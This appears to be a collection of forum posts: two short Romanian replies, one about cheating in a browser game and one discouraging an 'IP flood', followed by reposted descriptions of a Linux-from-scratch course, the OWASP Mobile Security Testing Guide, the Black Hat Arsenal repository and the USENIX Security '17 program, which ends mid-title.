Nytro

Salut, incearca sa intelegi mai intai asta: https://ro.wikipedia.org/wiki/Hypertext_Transfer_Protocol Apoi incearca sa intelegi logica jocului. Ce e diferit, ce contine acel link, ce s-ar putea modifica. Daca vrei sa automatizezi click-ul pe link-uri, asta se poate, dar trebuie putina programare. PS: Trebuie sa iei in considerare posibilitatea ca orice ai face poate sa nu functioneze sa trisezi.

Salut, din pacate nu te poti numi hacker, cel putin din considerentele mele asupra acelui cuvant. Legat de acel "IP flood", de ce ai vrea sa faci asta? Nu o sa se rezolve nimic, iar la vitezele de Internet din ziua de azi, nu e de ajuns un singur calculator pentru asa ceva. Ti-ar trebui cateva mii, cel putin. (depinde si de tinta)

"Build Your Own Linux (From Scratch)" walks users through building a basic Linux distribution. Presented by Linux Academy & Cloud Assessments. Access the main Linux Academy website to view related course videos and other content, and the Cloud Assessments website for free cloud training powered by AI. Section 1 Our Goal WHAT WE ARE BUILDING This course walks through the creation of a 64-bit system based on the Linux kernel. Our goal is to produce a small, sleek system well-suited for hosting containers or being employed as a virtual machine. Because we don't need every piece of functionality under the sun, we're not going to include every piece of software you might find in a typical distro. This distribution is intended to be minimal. Here is what our end-result will look like: 64-bit Linux 4.8 Kernel with GCC 6.2 and glibc 2.24 A system compatible with both EFI and BIOS hardware Bootable with GRUB2 A VFAT formatted partition for GRUB/UEFI A boot partition A root partition WHAT WE ARE LEARNING This course provides step-by-step instructions in an effort to build the Linux kernel, the GNU C Standard Library implementation, GCC, and user-land binaries from source. The tasks are presented in linear order, and must be followed sequentially, as later tasks have dependencies on early tasks. Do not skip around. Following this guide as intended will, in turn, enlighten you to many of the "hows" and "whys" of Linux, and assist in your ability to do tasks such as: Troubleshooting issues with the kernel Troubleshooting issues with user-land software Understanding the rationale behind various security systems and measures Performance tuning the kernel Performance tuning user-land binaries Building or "rolling" your own distribution Building user-land binaries from source Required Skills and Knowledge We make extensive use of VirtualBox in this course. Working knowledge of VirtualBox and a solid foundation in Linux and Linux troubleshooting are essential. If you're not as familiar with VirtualBox as you would like, take a look at the "How to Install CentOS 7 with VirtualBox" lesson in the "Linux Essentials Certification" course. That course, as well, provides the foundational knowledge required for this course. Standards As we progress through this course, we will adhere to the FHS (Filesystem Hierarchy Standard) specification, version 3.0. We will adhere (mostly) to the LSB (Linux Standard Base) specification, version 5.0. See the pertinent sections in this guide for more information on these two topics. Articol complet: http://www.buildyourownlinux.com/

OWASP Mobile Security Testing Guide This is the official GitHub Repository of the OWASP Mobile Security Testing Guide (MSTG). The MSTG is a comprehensive manual for mobile app security testing and reverse engineering. It describes technical processes for verifying the controls listed in the OWASP Mobile Application Verification Standard (MASVS). You can also read the MSTG on Gitbooks or download it as an e-book. Table-of-Contents Introduction Header Foreword Frontispiece Introduction to the Mobile Security Testing Guide Mobile App Taxonomy Mobile App Security Testing Tampering and Reverse Engineering Android Testing Guide Platform Overview Android Security Testing Basics Testing Data Storage Testing Cryptography Testing Local Authentication Testing Network Communication Testing Platform Interaction Testing Code Quality and Build Settings Tampering and Reverse Engineering on Android Testing Anti-Reversing Defenses iOS Testing Guide Platform Overview iOS Security Testing Basics Testing Data Storage Testing Cryptography Testing Local Authentication Testing Network Communication Testing Platform Interaction Testing Code Quality and Build Settings Tampering and Reverse Engineering on iOS Testing Anti-Reversing Defenses General Testing Guide Testing Authentication with the Backend Testing Network Communication Testing Cryptography for Mobile Apps Testing Code Quality Appendix Assessing Software Protection Schemes Testing Tools Suggested Reading Reading the Mobile Security Testing Guide The MSTG is not complete yet. You can however get intermediate builds in multiple formats. Get the e-book. The book is available for free, but you can choose to purchase it at a price of your choosing if you wish to support our project. All funds raised through sales of the e-book go directly into the project budget and will be used to fund production of the final release. Read it on Gitbook. The book is automatically synchronized with the main repo. You can use the gitbook command line tool to generate PDF, epub, and other e-book formats. Please note that we have disabled the ebook export features on gitbook.com for the time being - they will be enabled once the project reaches beta status. Clone the repository and run the document generator (requires pandoc). This produces docx and html files in the "Generated" subdirectory. $ git clone https://github.com/OWASP/owasp-mstg/ $ cd owasp-mstg/Tools/ $ ./generate_document.sh You can also use the document index to navigate the master branch of the MSTG. Contributions, feature requests and feedback We are searching for additional authors, reviewers and editors. The best way to get started is to browse the existing content. Also, check the project dashboard for a list of open tasks. Drop a us line on the Slack channel before you start working on a topic. This helps us to keep track of what everyone is doing and prevent conflicts. You can create a Slack account here: http://owasp.herokuapp.com/ Before you start contributing, please read our brief style guide which contains a few basic writing rules. If there's something you really want to see in the guide, or you want to suggest an improvement, create an issue issue or ping us on Slack. Authoring Credit Contributors are added to the acknowledgements table based on their contributions logged by GitHub. The list of names is sorted by the number of lines added. Authors are categorized as follows: Project Leader / Author: Manage development of the guide continuously and write a large amount of content. Co-Author: Consistently contribute quality content, at least 2,000 additions logged. Top Contributor: Consistently contribute quality content, at least 500 additions logged. Contributor: Any form of contribution, at least 50 additions logged. Mini-contributor: Everything below 50 additions, e.g. committing a single word or sentence. Reviewer: People that haven't submitted their own pull requests, but have created issues or given useful feedback in other ways. Please ping us or create a pull request if you are missing from the table or in the wrong column (note that we update the table frequently, but not in realtime). If you are willing to write a large portion of the guide and help consistently drive the project forward, you can join as an author. Be aware that you'll be expected to invest lots of time over several months. Contact Bernhard Mueller (Slack: bernhardm) for more information. Sursa: https://github.com/OWASP/owasp-mstg/

Official Black Hat Arsenal Tools Github Repository This github account maps to the Black Hat Arsenal tools since its inception in 2011. For readibility, the tools are classified by category and not by session. This account is maintained by ToolsWatch.org the official organizer of the Black Hat Arsenal event Disclaimer: Tools not demonstrated during a Black Hat Arsenal session will not be accepted How to Submit ? Submit your template to the most one representative category as a pull request. After review, we will reflect the change on the repo. Use the given template tool_name.md . Change tool_name.md to your tool name (ex: lynis.md) Missing a category ? If you think we missed a category, do not hesitate to contact us (or push request). Contact us Twitter Email Link: https://github.com/toolswatch/blackhat-arsenal-tools

USENIX Security '17 Technical Sessions All sessions will take place at the Sheraton Vancouver Wall Centre Hotel. USENIX Security '17 Program Grid Download the program in grid format (PDF). Updated 7/27/17. The full USENIX Security '17 Proceedings will be available for download on Wednesday, August 16, 2017. Individual papers may be downloaded now by registered conference attendees from their respective presentation page and will be available for download to everyone on August 16. Paper abstracts and proceedings front matter are available to everyone now. Copyright to the individual works is retained by the author. Proceedings Front Matter Proceedings Cover | Title Page and List of Organizers | Message from the Program Co-Chairs | Table of Contents Full Proceedings PDFs USENIX Security '17 Full Proceedings (PDF) USENIX Security '17 Proceedings Interior (PDF, best for mobile devices) USENIX Security '17 Proceedings Errata Slip (PDF) USENIX Security '17 Proceedings Errata Slip 2 (PDF, 8/15/17) Downloads for Registered Attendees (Sign in to your USENIX account to download these files.) USENIX Security '17 Attendee List (PDF) USENIX Security '17 Wednesday Paper Archive (PDF, includes Proceedings front matter, errata, and attendee lists) USENIX Security ’17 Thursday Paper Archive (PDF) USENIX Security ’17 Friday Paper Archive (PDF) Wednesday, August 16, 2017 7:30 am–9:00 am Continental Breakfast Grand Ballroom Foyer 9:00 am–9:30 am Opening Remarks and Awards Grand Ballroom Program Co-Chairs: Engin Kirda, Northeastern University, and Thomas Ristenpart, Cornell Tech 9:30 am–10:30 am Hide details ▾ Keynote Address Grand Ballroom When Your Threat Model Is "Everything": Defensive Security in Modern Newsrooms Erinn Clark, Lead Security Architect, First Look Media/The Intercept Show details ▸ 10:30 am–11:00 am Break with refreshments Grand Ballroom Foyer 11:00 am–12:30 pm Track 1 Hide details ▾ Bug Finding I Grand Ballroom AB Session Chair: Thorsten Holz, Ruhr-Universität Bochum How Double-Fetch Situations turn into Double-Fetch Vulnerabilities: A Study of Double Fetches in the Linux Kernel Pengfei Wang, National University of Defense Technology; Jens Krinke, University College London; Kai Lu and Gen Li, National University of Defense Technology; Steve Dodier-Lazaro, University College London AVAILABLE MEDIA Show details ▸ Postmortem Program Analysis with Hardware-Enhanced Post-Crash Artifacts Jun Xu, The Pennsylvania State University; Dongliang Mu, Nanjing University; Xinyu Xing, Peng Liu, and Ping Chen, The Pennsylvania State University; Bing Mao, Nanjing University AVAILABLE MEDIA Show details ▸ Ninja: Towards Transparent Tracing and Debugging on ARM Zhenyu Ning and Fengwei Zhang, Wayne State University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Side-Channel Attacks I Grand Ballroom CD Session Chair: Yuval Yarom, University of Adelaide and Data61, CSIRO Prime+Abort: A Timer-Free High-Precision L3 Cache Attack using Intel TSX Craig Disselkoen, David Kohlbrenner, Leo Porter, and Dean Tullsen, University of California, San Diego AVAILABLE MEDIA Show details ▸ On the effectiveness of mitigations against floating-point timing channels David Kohlbrenner and Hovav Shacham, UC San Diego AVAILABLE MEDIA Show details ▸ Constant-Time Callees with Variable-Time Callers Cesar Pereida García and Billy Bob Brumley, Tampere University of Technology AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Systems Security I Junior Ballroom Session Chair: Long Lu, Stony Brook University Neural Nets Can Learn Function Type Signatures From Binaries Zheng Leong Chua, Shiqi Shen, Prateek Saxena, and Zhenkai Liang, National University of Singapore AVAILABLE MEDIA Show details ▸ CAn’t Touch This: Software-only Mitigation against Rowhammer Attacks targeting Kernel Memory Ferdinand Brasser, Technische Universität Darmstadt; Lucas Davi, University of Duisburg-Essen; David Gens, Christopher Liebchen, and Ahmad-Reza Sadeghi, Technische Universität Darmstadt AVAILABLE MEDIA Show details ▸ Efficient Protection of Path-Sensitive Control Security Ren Ding and Chenxiong Qian, Georgia Tech; Chengyu Song, UC Riverside; Bill Harris, Taesoo Kim, and Wenke Lee, Georgia Tech AVAILABLE MEDIA Show details ▸ 12:30 pm–2:00 pm Lunch (on your own) 2:00 pm–3:30 pm Track 1 Hide details ▾ Bug Finding II Grand Ballroom AB Session Chair: Manuel Egele, Boston University Digtool: A Virtualization-Based Framework for Detecting Kernel Vulnerabilities Jianfeng Pan, Guanglu Yan, and Xiaocao Fan, IceSword Lab, 360 Internet Security Center AVAILABLE MEDIA Show details ▸ kAFL: Hardware-Assisted Feedback Fuzzing for OS Kernels Sergej Schumilo, Cornelius Aschermann, and Robert Gawlik, Ruhr-Universität Bochum; Sebastian Schinzel, Münster University of Applied Sciences; Thorsten Holz, Ruhr-Universität Bochum AVAILABLE MEDIA Show details ▸ Venerable Variadic Vulnerabilities Vanquished Priyam Biswas, Purdue University; Alessandro Di Federico, Politecnico di Milano; Scott A. Carr, Purdue University; Prabhu Rajasekaran, Stijn Volckaert, Yeoul Na, and Michael Franz, University of California, Irvine; Mathias Payer, Purdue University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Side-Channel Countermeasures Grand Ballroom CD Session Chair: Deian Stefan, University of California, San Diego Towards Practical Tools for Side Channel Aware Software Engineering: 'Grey Box' Modelling for Instruction Leakages David McCann, Elisabeth Oswald, and Carolyn Whitnall, University of Bristol AVAILABLE MEDIA Show details ▸ Strong and Efficient Cache Side-Channel Protection using Hardware Transactional Memory Daniel Gruss, Graz University of Technology, Graz, Austria; Julian Lettner, University of California, Irvine, USA; Felix Schuster, Olya Ohrimenko, Istvan Haller, and Manuel Costa, Microsoft Research, Cambridge, UK AVAILABLE MEDIA Show details ▸ CacheD: Identifying Cache-Based Timing Channels in Production Software Shuai Wang, Pei Wang, Xiao Liu, Danfeng Zhang, and Dinghao Wu, The Pennsylvania State University AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Invited Talks Junior Ballroom Session Chair: David Molnar, Microsoft An Ant in a World of Grasshoppers Ellen Cram Kowalczyk, Microsoft Show details ▸ From Problems to Patterns to Practice: Privacy and User Respect in a Complex World Lea Kissner, Product Privacy Lead and Principal Engineer, Google Show details ▸ 3:30 pm–4:00 pm Break with refreshments Grand Ballroom Foyer 4:00 pm–5:30 pm Track 1 Hide details ▾ Malware and Binary Analysis Grand Ballroom AB Session Chair: Michael Franz, University of California, Irvine BinSim: Trace-based Semantic Binary Diffing via System Call Sliced Segment Equivalence Checking Jiang Ming, University of Texas at Arlington; Dongpeng Xu, Yufei Jiang, and Dinghao Wu, Pennsylvania State University AVAILABLE MEDIA Show details ▸ PlatPal: Detecting Malicious Documents with Platform Diversity Meng Xu and Taesoo Kim, Georgia Institute of Technology AVAILABLE MEDIA Show details ▸ Malton: Towards On-Device Non-Invasive Mobile Malware Analysis for ART Lei Xue, The Hong Kong Polytechnic University; Yajin Zhou, unaffiliated; Ting Chen, University of Electronic Science and Technology of China; Xiapu Luo, The Hong Kong Polytechnic University; Guofei Gu, Texas A&M University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Censorship Grand Ballroom CD Session Chair: Patrick Traynor, University of Florida Global Measurement of DNS Manipulation Paul Pearce, UC Berkeley; Ben Jones, Princeton; Frank Li, UC Berkeley; Roya Ensafi and Nick Feamster, Princeton; Nick Weaver, ICSI; Vern Paxson, UC Berkeley AVAILABLE MEDIA Show details ▸ Characterizing the Nature and Dynamics of Tor Exit Blocking Rachee Singh, University of Massachusetts – Amherst; Rishab Nithyanand, Stony Brook University; Sadia Afroz, University of California, Berkeley and International Computer Science Institute; Paul Pearce, UC Berkeley; Michael Carl Tschantz, International Computer Science Institute; Phillipa Gill, University of Massachusetts – Amherst; Vern Paxson, University of California, Berkeley and International Computer Science Institute AVAILABLE MEDIA Show details ▸ DeTor: Provably Avoiding Geographic Regions in Tor Zhihao Li, Stephen Herwig, and Dave Levin, University of Maryland AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Embedded Systems Junior Ballroom Session Chair: Brendan Dolan-Gavitt, New York University SmartAuth: User-Centered Authorization for the Internet of Things Yuan Tian, Carnegie Mellon University; Nan Zhang, Indiana University, Bloomington; Yueh-Hsun Lin, Samsung; Xiaofeng Wang, Indiana University, Bloomington; Blase Ur, University of Chicago; Xianzheng Guo and Patrick Tague, Carnegie Mellon University AVAILABLE MEDIA Show details ▸ AWare: Preventing Abuse of Privacy-Sensitive Sensors via Operation Bindings Giuseppe Petracca, The Pennsylvania State University, US; Ahmad-Atamli Reineh, University of Oxford, UK; Yuqiong Sun, The Pennsylvania State University, US; Jens Grossklags, Technical University of Munich, DE; Trent Jaeger, The Pennsylvania State University, US AVAILABLE MEDIA Show details ▸ 6thSense: A Context-aware Sensor-based Attack Detector for Smart Devices Amit Kumar Sikder, Hidayet Aksu, and A. Selcuk Uluagac, Florida International University AVAILABLE MEDIA Show details ▸ 6:00 pm–7:30 pm Symposium Reception Fountain Square Don’t miss the USENIX Security ’17 Reception, featuring dinner, drinks, and the chance to connect with other attendees, speakers, and conference organizers. 8:30 pm–9:30 pm Lightning Talks Junior Ballroom This is intended as an informal session for short and engaging presentations on recent unpublished results, work in progress, or other topics of interest to the USENIX Security attendees. As in the past, talks do not always need to be serious and funny talks are encouraged! You can continue submitting talks until Wednesday, August 16, 2017, 12:00 pm PDT at https://sec17lightning.usenix.hotcrp.com or by emailing sec17lightning@usenix.org. Thursday, August 17, 2017 8:00 am–9:00 am Continental Breakfast Grand Ballroom Foyer 9:00 am–10:30 am Track 1 Hide details ▾ Networking Security Grand Ballroom AB Session Chair: Giovanni Vigna, University of California, Santa Barbara Identifier Binding Attacks and Defenses in Software-Defined Networks Samuel Jero, Purdue University; William Koch, Boston University; Richard Skowyra and Hamed Okhravi, MIT Lincoln Laboratory; Cristina Nita-Rotaru, Northeastern University; David Bigelow, MIT Lincoln Laboratory AVAILABLE MEDIA Show details ▸ HELP: Helper-Enabled In-Band Device Pairing Resistant Against Signal Cancellation Nirnimesh Ghose, Loukas Lazos, and Ming Li, Electrical and Computer Engineering, University of Arizona, Tucson, AZ AVAILABLE MEDIA Show details ▸ Attacking the Brain: Races in the SDN Control Plane Lei Xu, Jeff Huang, and Sungmin Hong, Texas A&M University; Jialong Zhang, IBM Research; Guofei Gu, Texas A&M University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Targeted Attacks Grand Ballroom CD Session Chair: Adrienne Porter Felt, Google Detecting Credential Spearphishing in Enterprise Settings Grant Ho, UC Berkeley; Aashish Sharma, The Lawrence Berkeley National Labratory; Mobin Javed, UC Berkeley; Vern Paxson, UC Berkeley and ICSI; David Wagner, UC Berkeley Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ SLEUTH: Real-time Attack Scenario Reconstruction from COTS Audit Data Md Nahid Hossain, Stony Brook University; Sadegh M. Milajerdi, University of Illinois at Chicago; Junao Wang, Stony Brook University; Birhanu Eshete and Rigel Gjomemo, University of Illinois at Chicago; R. Sekar and Scott Stoller, Stony Brook University; V.N. Venkatakrishnan, University of Illinois at Chicago AVAILABLE MEDIA Show details ▸ When the Weakest Link is Strong: Secure Collaboration in the Case of the Panama Papers Susan E. McGregor, Columbia Journalism School; Elizabeth Anne Watkins, Columbia University; Mahdi Nasrullah Al-Ameen and Kelly Caine, Clemson University;Franziska Roesner, University of Washington AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Trusted Hardware Junior Ballroom Session Chair: XiaoFeng Wang, Indiana University Hacking in Darkness: Return-oriented Programming against Secure Enclaves Jaehyuk Lee and Jinsoo Jang, KAIST; Yeongjin Jang, Georgia Institute of Technology; Nohyun Kwak, Yeseul Choi, and Changho Choi, KAIST; Taesoo Kim, Georgia Institute of Technology; Marcus Peinado, Microsoft Research; Brent Byunghoon Kang, KAIST AVAILABLE MEDIA Show details ▸ vTZ: Virtualizing ARM TrustZone Zhichao Hua, Jinyu Gu, Yubin Xia, and Haibo Chen, Institute of Parallel and Distributed Systems, Shangha Jiao Tong University; Shanghai Key Laboratory of Scalable Computing and Systems, Shanghai Jiao Tong University; Binyu Zang, Institute of Parallel and Distributed Systems, Shanghai Jiao Tong University; Haibing Guan, Shanghai Key Laboratory of Scalable Computing and Systems, Shanghai Jiao Tong University AVAILABLE MEDIA Show details ▸ Inferring Fine-grained Control Flow Inside SGX Enclaves with Branch Shadowing Sangho Lee, Ming-Wei Shih, Prasun Gera, Taesoo Kim, and Hyesoon Kim, Georgia Institute of Technology; Marcus Peinado, Microsoft Research AVAILABLE MEDIA Show details ▸ 10:30 am–11:00 am Break with refreshments Grand Ballroom Foyer 11:00 am–12:30 pm Track 1 Hide details ▾ Authentication Grand Ballroom AB Session Chair: Tadayoshi Kohno, University of Washington AuthentiCall: Efficient Identity and Content Authentication for Phone Calls Bradley Reaves, North Carolina State University; Logan Blue, Hadi Abdullah, Luis Vargas, Patrick Traynor, and Thomas Shrimpton, University of Florida AVAILABLE MEDIA Show details ▸ Picking Up My Tab: Understanding and Mitigating Synchronized Token Lifting and Spending in Mobile Payment Xiaolong Bai, Tsinghua University; Zhe Zhou, The Chinese University of Hong Kong; XiaoFeng Wang, Indiana University Bloomington; Zhou Li, IEEE Member; Xianghang Mi and Nan Zhang, Indiana University Bloomington; Tongxin Li, Peking University; Shi-Min Hu, Tsinghua University; Kehuan Zhang, The Chinese University of Hong Kong AVAILABLE MEDIA Show details ▸ TrustBase: An Architecture to Repair and Strengthen Certificate-based Authentication Mark O’Neill, Scott Heidbrink, Scott Ruoti, Jordan Whitehead, Dan Bunker, Luke Dickinson, Travis Hendershot, Joshua Reynolds, Kent Seamons, and Daniel Zappala, Brigham Young University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Malware and Obfuscation Grand Ballroom CD Session Chair: Guofei Gu, Texas A&M University Transcend: Detecting Concept Drift in Malware Classification Models Roberto Jordaney, Royal Holloway, University of London; Kumar Sharad, NEC Laboratories Europe; Santanu K. Dash, University College London; Zhi Wang, Nankai University; Davide Papini, Elettronica S.p.A.; Ilia Nouretdinov, and Lorenzo Cavallaro, Royal Holloway, University of London AVAILABLE MEDIA Show details ▸ Syntia: Synthesizing the Semantics of Obfuscated Code Tim Blazytko, Moritz Contag, Cornelius Aschermann, and Thorsten Holz, Ruhr-Universität Bochum AVAILABLE MEDIA Show details ▸ Predicting the Resilience of Obfuscated Code Against Symbolic Execution Attacks via Machine Learning Sebastian Banescu, Technische Universität München; Christian Collberg, University of Arizona; Alexander Pretschner, Technische Universität München AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Invited Talks Junior Ballroom Session Chair: Franziska Roesner, University of Washington Differential Privacy: From Theory to Deployment Abhradeep Guha Thakurta, Assistant Professor, University of California, Santa Cruz Show details ▸ OSS-Fuzz - Google's continuous fuzzing service for open source software Kostya Serebryany, Google Show details ▸ 12:30 pm–2:00 pm Symposium Luncheon Pavilion Ballroom Sponsored by Facebook The Internet Defense Prize will be presented at the Symposium Luncheon. 2:00 pm–3:30 pm Track 1 Hide details ▾ Web Security I Grand Ballroom AB Session Chair: Martin Johns, SAP SE Extension Breakdown: Security Analysis of Browsers Extension Resources Control Policies Iskander Sanchez-Rola and Igor Santos, DeustoTech, University of Deusto; Davide Balzarotti, Eurecom AVAILABLE MEDIA Show details ▸ CCSP: Controlled Relaxation of Content Security Policies by Runtime Policy Composition Stefano Calzavara, Alvise Rabitti, and Michele Bugliesi, Università Ca’ Foscari Venezia AVAILABLE MEDIA Show details ▸ Same-Origin Policy: Evaluation in Modern Browsers Jörg Schwenk, Marcus Niemietz, and Christian Mainka, Horst Görtz Institute for IT Security, Chair for Network and Data Security, Ruhr-University Bochum AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Privacy Grand Ballroom CD Session Chair: Ian Goldberg, University of Waterloo Locally Differentially Private Protocols for Frequency Estimation Tianhao Wang, Jeremiah Blocki, and Ninghui Li, Purdue University; Somesh Jha, University of Wisconsin Madison AVAILABLE MEDIA Show details ▸ BLENDER: Enabling Local Search with a Hybrid Differential Privacy Model Brendan Avent and Aleksandra Korolova, University of Southern California; David Zeber and Torgeir Hovden, Mozilla; Benjamin Livshits, Imperial College London AVAILABLE MEDIA Show details ▸ Computer Security, Privacy, and DNA Sequencing: Compromising Computers with Synthesized DNA, Privacy Leaks, and More Peter Ney, Karl Koscher, Lee Organick, Luis Ceze, and Tadayoshi Kohno, University of Washington AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Systems Security II Junior Ballroom Session Chair: William Robertson, Northeastern University BootStomp: On the Security of Bootloaders in Mobile Devices Nilo Redini, Aravind Machiry, Dipanjan Das, Yanick Fratantonio, Antonio Bianchi, Eric Gustafson, Yan Shoshitaishvili, Christopher Kruegel, and Giovanni Vigna, UC Santa Barbara AVAILABLE MEDIA Show details ▸ Seeing Through The Same Lens: Introspecting Guest Address Space At Native Speed Siqi Zhao and Xuhua Ding, Singapore Management University; Wen Xu, Georgia Institute of Technology; Dawu Gu, Shanghai JiaoTong University AVAILABLE MEDIA Show details ▸ Oscar: A Practical Page-Permissions-Based Scheme for Thwarting Dangling Pointers Thurston H.Y. Dang, University of California, Berkeley; Petros Maniatis, Google Brain; David Wagner, University of California, Berkeley AVAILABLE MEDIA Show details ▸ 3:30 pm–4:00 pm Break with refreshments Grand Ballroom Foyer 4:00 pm–5:30 pm Track 1 Hide details ▾ Web Security II Grand Ballroom AB Session Chair: Franziska Roesner, University of Washington PDF Mirage: Content Masking Attack Against Information-Based Online Services Ian Markwood, Dakun Shen, Yao Liu, and Zhuo Lu, University of South Florida AVAILABLE MEDIA Show details ▸ Loophole: Timing Attacks on Shared Event Loops in Chrome Pepe Vila, IMDEA Software Institute & Technical University of Madrid (UPM); Boris Köpf, IMDEA Software Institute Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ Game of Registrars: An Empirical Analysis of Post-Expiration Domain Name Takeovers Tobias Lauinger, Northeastern University; Abdelberi Chaabane, Nokia Bell Labs; Ahmet Salih Buyukkayhan, Northeastern University; Kaan Onarlioglu, www.onarlioglu.com; William Robertson, Northeastern University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Applied Cryptography Grand Ballroom CD Session Chair: Dan Boneh, Stanford University Speeding up detection of SHA-1 collision attacks using unavoidable attack conditions Marc Stevens, CWI; Daniel Shumow, Microsoft Research AVAILABLE MEDIA Show details ▸ Phoenix: Rebirth of a Cryptographic Password-Hardening Service Russell W. F. Lai, Friedrich-Alexander-University Erlangen-Nürnberg, Chinese University of Hong Kong; Christoph Egger and Dominique Schröder, Friedrich-Alexander-University Erlangen-Nürnberg; Sherman S. M. Chow, Chinese University of Hong Kong AVAILABLE MEDIA Show details ▸ Vale: Verifying High-Performance Cryptographic Assembly Code Barry Bond and Chris Hawblitzel, Microsoft Research; Manos Kapritsos, University of Michigan; K. Rustan M. Leino and Jacob R. Lorch, Microsoft Research; Bryan Parno, Carnegie Mellon University; Ashay Rane, The University of Texas at Austin; Srinath Setty, Microsoft Research; Laure Thompson, Cornell University Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ DDoS Panel Junior Ballroom Moderator: Michael Bailey, University of Illinois, at Urbana-Champaign Panelists: Tom Anderson, University of Washington; Damon McCoy, New York University; Nick Sullivan, Cloudflare 6:00 pm–7:30 pm Poster Session and Happy Hour Pavilion Ballroom and Foyer Check out the cool new ideas and the latest preliminary research on display at the Poster Session and Happy Hour. Take part in discussions with your colleagues over complimentary drinks and snacks. View the list of accepted posters. 7:30 pm–9:30 pm USENIX Security '17 Doctoral Colloquium Junior Ballroom Organizer: Thorsten Holz, Ruhr-Universität Bochum Panelists: Mihai Christodorescu, Visa; Roya Ensafi, Princeton University; Ian Goldberg, University of Waterloo; Felix Schuster, Microsoft Research What opportunities await security students graduating with a PhD? On Thursday evening, students will have the opportunity to listen to informal panels of faculty and industrial researchers providing personal perspectives on their post-PhD career search. Learn about the academic job search, the industrial research job search, research fund raising, dual-career challenges, life uncertainty, and other idiosyncrasies of the ivory tower. Friday, August 18, 2017 8:00 am–9:00 am Continental Breakfast Grand Ballroom Foyer 9:00 am–10:30 am Track 1 Hide details ▾ Web Security III Grand Ballroom AB Session Chair: Adam Doupé, Arizona State University Exploring User Perceptions of Discrimination in Online Targeted Advertising Angelisa C. Plane, Elissa M. Redmiles, and Michelle L. Mazurek, University of Maryland; Michael Carl Tschantz, International Computer Science Institute AVAILABLE MEDIA Show details ▸ Measuring the Insecurity of Mobile Deep Links of Android Fang Liu, Chun Wang, Andres Pico, Danfeng Yao, and Gang Wang, Virginia Tech AVAILABLE MEDIA Show details ▸ How the Web Tangled Itself: Uncovering the History of Client-Side Web (In)Security Ben Stock, CISPA, Saarland University; Martin Johns, SAP SE; Marius Steffens and Michael Backes, CISPA, Saarland University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Software Security Grand Ballroom CD Session Chair: Zhiqiang Lin, The University of Texas at Dallas Towards Efficient Heap Overflow Discovery Xiangkun Jia, TCA/SKLCS, Institute of Software, Chinese Academy of Sciences; Chao Zhang, Institute for Network Science and Cyberspace, Tsinghua University; Purui Su, Yi Yang, Huafeng Huang, and Dengguo Feng, TCA/SKLCS, Institute of Software, Chinese Academy of Sciences AVAILABLE MEDIA Show details ▸ DR. CHECKER: A Soundy Analysis for Linux Kernel Drivers Aravind Machiry, Chad Spensky, Jake Corina, Nick Stephens, Christopher Kruegel, and Giovanni Vigna, UC Santa Barbara AVAILABLE MEDIA Show details ▸ Dead Store Elimination (Still) Considered Harmful Zhaomo Yang and Brian Johannesmeyer, University of California, San Diego; Anders Trier Olesen, Aalborg University; Sorin Lerner and Kirill Levchenko, University of California, San Diego AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Side-Channel Attacks II Junior Ballroom Session Chair: A. Selcuk Uluagac, Florida International University Telling Your Secrets without Page Faults: Stealthy Page Table-Based Attacks on Enclaved Execution Jo Van Bulck, imec-DistriNet, KU Leuven; Nico Weichbrodt and Rüdiger Kapitza, IBR DS, TU Braunschweig; Frank Piessens and Raoul Strackx, imec-DistriNet, KU Leuven AVAILABLE MEDIA Show details ▸ CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management Adrian Tang, Simha Sethumadhavan, and Salvatore Stolfo, Columbia University Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ AutoLock: Why Cache Attacks on ARM Are Harder Than You Think Marc Green, Worcester Polytechnic Institute; Leandro Rodrigues-Lima and Andreas Zankl, Fraunhofer AISEC; Gorka Irazoqui, Worcester Polytechnic Institute; Johann Heyszl, Fraunhofer AISEC; Thomas Eisenbarth, Worcester Polytechnic Institute AVAILABLE MEDIA Show details ▸ 10:30 am–11:00 am Break with refreshments Grand Ballroom Foyer 11:00 am–12:30 pm Track 1 Hide details ▾ Understanding Attacks Grand Ballroom AB Session Chair: Blase Ur, University of Chicago Understanding the Mirai Botnet Manos Antonakakis, Georgia Institute of Technology; Tim April, Akamai; Michael Bailey, University of Illinois, Urbana-Champaign; Matt Bernhard, University of Michigan, Ann Arbor; Elie Bursztein, Google; Jaime Cochran, Cloudflare; Zakir Durumeric and J. Alex Halderman, University of Michigan, Ann Arbor; Luca Invernizzi, Google;Michalis Kallitsis, Merit Network, Inc.; Deepak Kumar, University of Illinois, Urbana-Champaign; Chaz Lever, Georgia Institute of Technology; Zane Ma and Joshua Mason, University of Illinois, Urbana-Champaign; Damian Menscher, Google; Chad Seaman, Akamai; Nick Sullivan, Cloudflare; Kurt Thomas, Google; Yi Zhou, University of Illinois, Urbana-Champaign AVAILABLE MEDIA Show details ▸ MPI: Multiple Perspective Attack Investigation with Semantic Aware Execution Partitioning Shiqing Ma, Purdue University; Juan Zhai, Nanjing University; Fei Wang, Purdue University; Kyu Hyung Lee, University of Georgia; Xiangyu Zhang and Dongyan Xu, Purdue University Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ Detecting Android Root Exploits by Learning from Root Providers Ioannis Gasparis, Zhiyun Qian, Chengyu Song, and Srikanth V. Krishnamurthy, University of California, Riverside AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Hardware Security Grand Ballroom CD Session Chair: Manuel Egele, Boston University USB Snooping Made Easy: Crosstalk Leakage Attacks 